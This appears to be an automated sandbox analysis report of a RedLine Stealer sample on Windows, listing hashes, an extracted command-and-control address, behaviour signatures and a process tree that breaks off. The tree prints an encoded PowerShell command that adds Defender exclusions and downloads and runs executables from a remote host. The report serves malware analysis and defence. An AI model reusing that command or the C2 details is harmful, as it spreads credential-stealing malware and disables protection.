Analysis
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max time kernel
125s -
max time network
126s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
06/01/2023, 19:37
Static task
static1
Behavioral task
behavioral1
Sample
8aae493caafa6e42a5a7afe431aeac120ce4c152.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
8aae493caafa6e42a5a7afe431aeac120ce4c152.exe
Resource
win10v2004-20221111-en
General
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Target
8aae493caafa6e42a5a7afe431aeac120ce4c152.exe
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Size
197KB
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MD5
78e69dd4d4eb058e9a2de5c4082c3133
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SHA1
8aae493caafa6e42a5a7afe431aeac120ce4c152
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SHA256
d3527f53eea79b90e0ea31e8c07a47924bdc0ed0dbaf635df7bb51fd580c91db
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SHA512
42e6b6950f6ce3b21d107acffe1c68c19193ad6f54538caad9fc84d0d143ee6e753cfb4c64f96ef2fb22ef7c1049cf1496a94382d2166ff67312f6cad1444777
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SSDEEP
6144:vmrFp1Uv1cVoar1HqOAORbMCIqxb/cTkc:vGFpv3vvbPb/cX
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/3888-170-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 3480 created 2732 3480 SmartDefRun.exe 37 PID 3480 created 2732 3480 SmartDefRun.exe 37 PID 3480 created 2732 3480 SmartDefRun.exe 37 PID 3480 created 2732 3480 SmartDefRun.exe 37 PID 1600 created 624 1600 powershell.EXE 3 -
Blocklisted process makes network request 1 IoCs
flow pid Process 24 4520 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
pid Process 3420 C4Loader.exe 3604 new2.exe 5000 SysApp.exe 3480 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 4796 set thread context of 4652 4796 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 81 PID 3604 set thread context of 3888 3604 new2.exe 89 PID 3480 set thread context of 4236 3480 SmartDefRun.exe 117 PID 1600 set thread context of 652 1600 powershell.EXE 122 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4624 sc.exe 1012 sc.exe 536 sc.exe 868 sc.exe 632 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 1616 4796 WerFault.exe 78 4076 3604 WerFault.exe 87 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE -
Suspicious behavior: EnumeratesProcesses 35 IoCs
pid Process 4520 powershell.exe 4520 powershell.exe 5000 SysApp.exe 5000 SysApp.exe 5000 SysApp.exe 5000 SysApp.exe 5000 SysApp.exe 5000 SysApp.exe 5000 SysApp.exe 5000 SysApp.exe 5000 SysApp.exe 5000 SysApp.exe 3480 SmartDefRun.exe 3480 SmartDefRun.exe 2712 powershell.exe 2712 powershell.exe 3480 SmartDefRun.exe 3480 SmartDefRun.exe 3480 SmartDefRun.exe 3480 SmartDefRun.exe 4316 powershell.exe 4316 powershell.exe 3480 SmartDefRun.exe 3480 SmartDefRun.exe 1600 powershell.EXE 2948 powershell.EXE 1600 powershell.EXE 2948 powershell.EXE 1600 powershell.EXE 652 dllhost.exe 652 dllhost.exe 652 dllhost.exe 652 dllhost.exe 652 dllhost.exe 652 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4520 powershell.exe Token: SeDebugPrivilege 2712 powershell.exe Token: SeDebugPrivilege 4316 powershell.exe Token: SeIncreaseQuotaPrivilege 4316 powershell.exe Token: SeSecurityPrivilege 4316 powershell.exe Token: SeTakeOwnershipPrivilege 4316 powershell.exe Token: SeLoadDriverPrivilege 4316 powershell.exe Token: SeSystemProfilePrivilege 4316 powershell.exe Token: SeSystemtimePrivilege 4316 powershell.exe Token: SeProfSingleProcessPrivilege 4316 powershell.exe Token: SeIncBasePriorityPrivilege 4316 powershell.exe Token: SeCreatePagefilePrivilege 4316 powershell.exe Token: SeBackupPrivilege 4316 powershell.exe Token: SeRestorePrivilege 4316 powershell.exe Token: SeShutdownPrivilege 4316 powershell.exe Token: SeDebugPrivilege 4316 powershell.exe Token: SeSystemEnvironmentPrivilege 4316 powershell.exe Token: SeRemoteShutdownPrivilege 4316 powershell.exe Token: SeUndockPrivilege 4316 powershell.exe Token: SeManageVolumePrivilege 4316 powershell.exe Token: 33 4316 powershell.exe Token: 34 4316 powershell.exe Token: 35 4316 powershell.exe Token: 36 4316 powershell.exe Token: SeIncreaseQuotaPrivilege 4316 powershell.exe Token: SeSecurityPrivilege 4316 powershell.exe Token: SeTakeOwnershipPrivilege 4316 powershell.exe Token: SeLoadDriverPrivilege 4316 powershell.exe Token: SeSystemProfilePrivilege 4316 powershell.exe Token: SeSystemtimePrivilege 4316 powershell.exe Token: SeProfSingleProcessPrivilege 4316 powershell.exe Token: SeIncBasePriorityPrivilege 4316 powershell.exe Token: SeCreatePagefilePrivilege 4316 powershell.exe Token: SeBackupPrivilege 4316 powershell.exe Token: SeRestorePrivilege 4316 powershell.exe Token: SeShutdownPrivilege 4316 powershell.exe Token: SeDebugPrivilege 4316 powershell.exe Token: SeSystemEnvironmentPrivilege 4316 powershell.exe Token: SeRemoteShutdownPrivilege 4316 powershell.exe Token: SeUndockPrivilege 4316 powershell.exe Token: SeManageVolumePrivilege 4316 powershell.exe Token: 33 4316 powershell.exe Token: 34 4316 powershell.exe Token: 35 4316 powershell.exe Token: 36 4316 powershell.exe Token: SeIncreaseQuotaPrivilege 4316 powershell.exe Token: SeSecurityPrivilege 4316 powershell.exe Token: SeTakeOwnershipPrivilege 4316 powershell.exe Token: SeLoadDriverPrivilege 4316 powershell.exe Token: SeSystemProfilePrivilege 4316 powershell.exe Token: SeSystemtimePrivilege 4316 powershell.exe Token: SeProfSingleProcessPrivilege 4316 powershell.exe Token: SeIncBasePriorityPrivilege 4316 powershell.exe Token: SeCreatePagefilePrivilege 4316 powershell.exe Token: SeBackupPrivilege 4316 powershell.exe Token: SeRestorePrivilege 4316 powershell.exe Token: SeShutdownPrivilege 4316 powershell.exe Token: SeDebugPrivilege 4316 powershell.exe Token: SeSystemEnvironmentPrivilege 4316 powershell.exe Token: SeRemoteShutdownPrivilege 4316 powershell.exe Token: SeUndockPrivilege 4316 powershell.exe Token: SeManageVolumePrivilege 4316 powershell.exe Token: 33 4316 powershell.exe Token: 34 4316 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4796 wrote to memory of 4652 4796 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 81 PID 4796 wrote to memory of 4652 4796 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 81 PID 4796 wrote to memory of 4652 4796 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 81 PID 4796 wrote to memory of 4652 4796 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 81 PID 4796 wrote to memory of 4652 4796 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 81 PID 4652 wrote to memory of 4520 4652 vbc.exe 84 PID 4652 wrote to memory of 4520 4652 vbc.exe 84 PID 4652 wrote to memory of 4520 4652 vbc.exe 84 PID 4520 wrote to memory of 3420 4520 powershell.exe 86 PID 4520 wrote to memory of 3420 4520 powershell.exe 86 PID 4520 wrote to memory of 3420 4520 powershell.exe 86 PID 4520 wrote to memory of 3604 4520 powershell.exe 87 PID 4520 wrote to memory of 3604 4520 powershell.exe 87 PID 4520 wrote to memory of 3604 4520 powershell.exe 87 PID 4520 wrote to memory of 5000 4520 powershell.exe 88 PID 4520 wrote to memory of 5000 4520 powershell.exe 88 PID 4520 wrote to memory of 5000 4520 powershell.exe 88 PID 3604 wrote to memory of 3888 3604 new2.exe 89 PID 3604 wrote to memory of 3888 3604 new2.exe 89 PID 3604 wrote to memory of 3888 3604 new2.exe 89 PID 3604 wrote to memory of 3888 3604 new2.exe 89 PID 3604 wrote to memory of 3888 3604 new2.exe 89 PID 4520 wrote to memory of 3480 4520 powershell.exe 92 PID 4520 wrote to memory of 3480 4520 powershell.exe 92 PID 3212 wrote to memory of 1012 3212 cmd.exe 107 PID 3212 wrote to memory of 1012 3212 cmd.exe 107 PID 3212 wrote to memory of 536 3212 cmd.exe 108 PID 3212 wrote to memory of 536 3212 cmd.exe 108 PID 3212 wrote to memory of 868 3212 cmd.exe 109 PID 3212 wrote to memory of 868 3212 cmd.exe 109 PID 3212 wrote to memory of 632 3212 cmd.exe 110 PID 3212 wrote to memory of 632 3212 cmd.exe 110 PID 3212 wrote to memory of 4624 3212 cmd.exe 111 PID 3212 wrote to memory of 4624 3212 cmd.exe 111 PID 3212 wrote to memory of 4448 3212 cmd.exe 112 PID 3212 wrote to memory of 4448 3212 cmd.exe 112 PID 3212 wrote to memory of 3528 3212 cmd.exe 113 PID 3212 wrote to memory of 3528 3212 cmd.exe 113 PID 3212 wrote to memory of 4348 3212 cmd.exe 114 PID 3212 wrote to memory of 4348 3212 cmd.exe 114 PID 3212 wrote to memory of 4728 3212 cmd.exe 115 PID 3212 wrote to memory of 4728 3212 cmd.exe 115 PID 3212 wrote to memory of 3464 3212 cmd.exe 116 PID 3212 wrote to memory of 3464 3212 cmd.exe 116 PID 3480 wrote to memory of 4236 3480 SmartDefRun.exe 117 PID 1600 wrote to memory of 652 1600 powershell.EXE 122 PID 1600 wrote to memory of 652 1600 powershell.EXE 122 PID 1600 wrote to memory of 652 1600 powershell.EXE 122 PID 1600 wrote to memory of 652 1600 powershell.EXE 122 PID 1600 wrote to memory of 652 1600 powershell.EXE 122 PID 1600 wrote to memory of 652 1600 powershell.EXE 122 PID 1600 wrote to memory of 652 1600 powershell.EXE 122 PID 1600 wrote to memory of 652 1600 powershell.EXE 122 PID 1600 wrote to memory of 652 1600 powershell.EXE 122 PID 652 wrote to memory of 624 652 dllhost.exe 3 PID 652 wrote to memory of 684 652 dllhost.exe 1 PID 652 wrote to memory of 964 652 dllhost.exe 75 PID 652 wrote to memory of 60 652 dllhost.exe 74 PID 652 wrote to memory of 548 652 dllhost.exe 73 PID 652 wrote to memory of 700 652 dllhost.exe 72 PID 652 wrote to memory of 1080 652 dllhost.exe 10 PID 652 wrote to memory of 1088 652 dllhost.exe 70 PID 652 wrote to memory of 1096 652 dllhost.exe 69 PID 652 wrote to memory of 1168 652 dllhost.exe 68
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:684
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:624
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:60
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{46ca3829-e735-4050-b541-f352bc584d24}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:652
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1080
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2120
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2604
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:2400
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:2040
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:3128
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:2592
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4796 -ip 47962⤵PID:2056
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3604 -ip 36042⤵PID:2004
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:3448
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s W32Time1⤵PID:3788
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:804
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:1492
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:4092
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4768
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4504
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3808
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3452
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3296
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3096
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2732
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C:\Users\Admin\AppData\Local\Temp\8aae493caafa6e42a5a7afe431aeac120ce4c152.exe"C:\Users\Admin\AppData\Local\Temp\8aae493caafa6e42a5a7afe431aeac120ce4c152.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4796 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:4652 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4520 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:3420
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3604 -
